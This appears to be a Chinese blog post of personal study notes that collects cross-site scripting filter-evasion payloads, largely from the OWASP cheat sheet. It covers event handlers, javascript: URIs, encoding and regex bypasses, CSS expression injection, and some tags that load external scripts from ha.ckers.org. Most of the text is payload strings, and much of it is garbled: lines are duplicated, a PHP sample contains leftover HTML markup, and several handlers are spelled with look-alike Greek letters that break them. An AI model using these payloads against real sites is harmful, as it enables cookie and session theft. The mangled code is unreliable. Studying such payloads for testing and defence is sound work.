一直对xss的理解比较薄弱,今天蛋疼的来整理一下。主要来源于心伤的瘦子大神的教程。这个XSS在现在看来反射型已经穷途末路,因为浏览器会自动过滤掉它。
但是存储型的XSS危害还是比较大的,满足XSS要满足两个条件,就是输入和输出的时候都不存在在过滤,这其实是比较严格的。
测试代码
主要是收集于https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet的一些绕过和用来测试的XSS语句
大神另外还整理了比较全的http://www.wooyun.org/whitehats
符号过滤测试
- ’;alert(String.fromCharCode(88,83,83))//
- ‘;alert(String.fromCharCode(88,83,83))//
- “;alert(String.fromCharCode(88,83,83))//
- “;alert(String.fromCharCode(88,83,83))//
- –></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//
';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
外网XSS
基本XSS
基本的XSS插入<script>alert(document.cookie)</script>
<script>alert('XSS')</script>
利用回调函数
- <img src=“xxx” οnerrοr=“alert(‘xxx’)” />
- <BODY ONLOAD=alert(’XSS’)>
- <a οnmοuseοver=”alert(document.cookie)”>xxs link</a>
<img src="xxx" οnerrοr="alert('xxx')" />
<BODY ONLOAD=alert('XSS')>
<a οnmοuseοver="alert(document.cookie)">xxs link</a>
更多的回调函数类型在这能找到
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
JavaScript directive
- <img src=“javascript:alert(‘XSS’)”>
- <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
- <BGSOUND src=”javascript:alert(‘XSS’);”>
- <LAYER src=”http://xss.ha.ckers.org/a.js”></layer>
- <LINK REL=”stylesheet” href=“javascript:alert(‘XSS’);”>
- <META HTTP-EQUIV=”refresh” CONTENT=“0;url=javascript:alert(‘XSS’);”>
- <IFRAME src=javascript:alert(’XSS’)></IFRAME>
- <FRAMESET><FRAME src=javascript:alert(’XSS’)></FRAME></FRAMESET>
<img src="javascript:alert('XSS')">
<BODY BACKGROUND="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
- <iframe src=“javascrsipt:alert(document.domain);”></iframe>
- <a href=”javascrsipt:alert(document.domain);”>
<iframe src="javascrsipt:alert(document.domain);"></iframe>
<a href="javascrsipt:alert(document.domain);">
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
编码绕过
Html Characters
<img src="1" οnerrοr="alert(1)">
可以转换成,一般情况下对于& # ;不被过滤的话引号中的内容就可以随意构造了
<img src="1" οnerrοr="alert()">
有的时候一些正则会使用&#xxx 这样来对实体字符进行过滤,但是可以用�xxx;这样的方式来绕过
Multi-byte Character
有的时候也可以使用宽字节来进行绕过,这个技巧在sql注入中很常用,如%0c可以吃掉一个反斜杠
Access/Unicode
- <div id=“a”>xxx</div>
- <script>
- document.getElementById(”a”).innerHTML=“\x3cimg src=1 οnerrοr=alert(1)\u003e”;
- </script>
<div id="a">xxx</div>
<script>
document.getElementById("a").innerHTML="\x3cimg src=1 οnerrοr=alert(1)\u003e";
</script>
String.fromCharCode
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
Utf-7
- <?php
- header(’Content-Type: text/html; charset=UTF-7’);
- string</span><span> = </span><span class="string">"<script>alert('XSS');</script>"</span><span>; </span></span></li><li class=""><span><span class="vars">string = mb_convert_encoding(string</span><span>, </span><span class="string">'UTF-7'</span><span>); </span></span></li><li class="alt"><span> </span></li><li class=""><span><span class="func">echo</span><span> htmlentities(</span><span class="vars">string);
- ?>
<?php
header('Content-Type: text/html; charset=UTF-7');
$string = "<script>alert('XSS');</script>";
$string = mb_convert_encoding($string, 'UTF-7');
echo htmlentities($string);
?>
multi-byte character
这个就是利用多字节编码的特点来吃掉后面的字符,一般情况下读到第一个字节是 xx-xx 之内的数值,就确定了后面有几字节的数据
来共同组成一个字符,后面字符的取值并不重要。这种利用通常在老版本IE下奏效。
正则绕过
主要是一些绕过正则匹配的方法
非递归的正则
这里一般是正则表达式自作一遍过滤,可以这样进行构造
<scr(script)ipt>xxxxxxx</scr(script)ipt>
注释符截断
在style注入的情况下,可以用注释符截断关键字,比如
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
字符截断
有一些字符在浏览器解析的时候会被忽略可以用来绕过正则
经过fuzz,发现只有%00 可以截断且只在ie下有效
<s%00cript>alert(0);</script>
Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
这里还有进一步的构造方法,不过我利用失败了,可以fuzz探测一下
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
us-ascii high bit issue
这个源自于浏览器瞎解释,他会把一些8位的字符直接解释成7位ascii
poc
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
奇技淫巧
这里是一些不常见的,不好分类的绕过方法
反斜杠
location.href="........."+"&ss=aaaa"+"&from=bbb";
这一句,我们无法闭合掉双引号的情况下,可以用反斜杠来进行这样的构造
重音符
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
在IE低版本下,不会给value等属性加双引号,这时候可以用重音符来代替双引号,来达到跳出双引号的目的
<input name="p1" size="50" value=`` οnmοuseοver=alert(document.domain); >
不合法的格式
残缺的格式
- <<SCRIPT>alert(“XSS”);//<</SCRIPT>
- <SCRIPT SRC=//ha.ckers.org/.j>
- <IMG SRC=”javascript:alert(‘XSS’)”
- <iframe src=http://ha.ckers.org/scriptlet.html <
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
利用情景
sript注入
<script>var a = ''myxsstestdmqlwp''; var b = 123; ... </script>
构造变量为
html标签注入
<input type="text" value="乌云欢迎您" />
这种情况下,如果输入没有过滤单引号的话,就可以形成XSS注入了
<input type="text" value="乌云欢迎您" οnclick="alert(1)" />
Style注入
也有一种输出会在style中,但是现在在style中的注入只能在ie6 ie7 中利用
<div style="xss:expression(alert(1));"></div>
css中支持\Ascii这样的方式,如果\没有被过滤的话,可以用来绕过检测
<div style="xss:expr\65ssion(alert(1));"></div>
还有另外两种常见利用格式
- background-color:#f00;background:url(“javascript:alert(document.domain);”);
- cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
background-color:#f00;background:url("javascript:alert(document.domain);");
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
注释注入
- <div id=“a”>xxx</div>
- <script>
- document.getElementById(”a”).innerHTML=“<script defer>alert(1)</script>”;
- </script>
<div id="a">xxx</div>
<script>
document.getElementById("a").innerHTML="<script defer>alert(1)</script>";
</script>
再比如
- document.write()
- document.writeln()
- document.body.innerHtml
- eval()
- window.execScript()
- window.setInterval()
- window.setTimeout()
document.write()
document.writeln()
document.body.innerHtml
eval()
window.execScript()
window.setInterval()
window.setTimeout()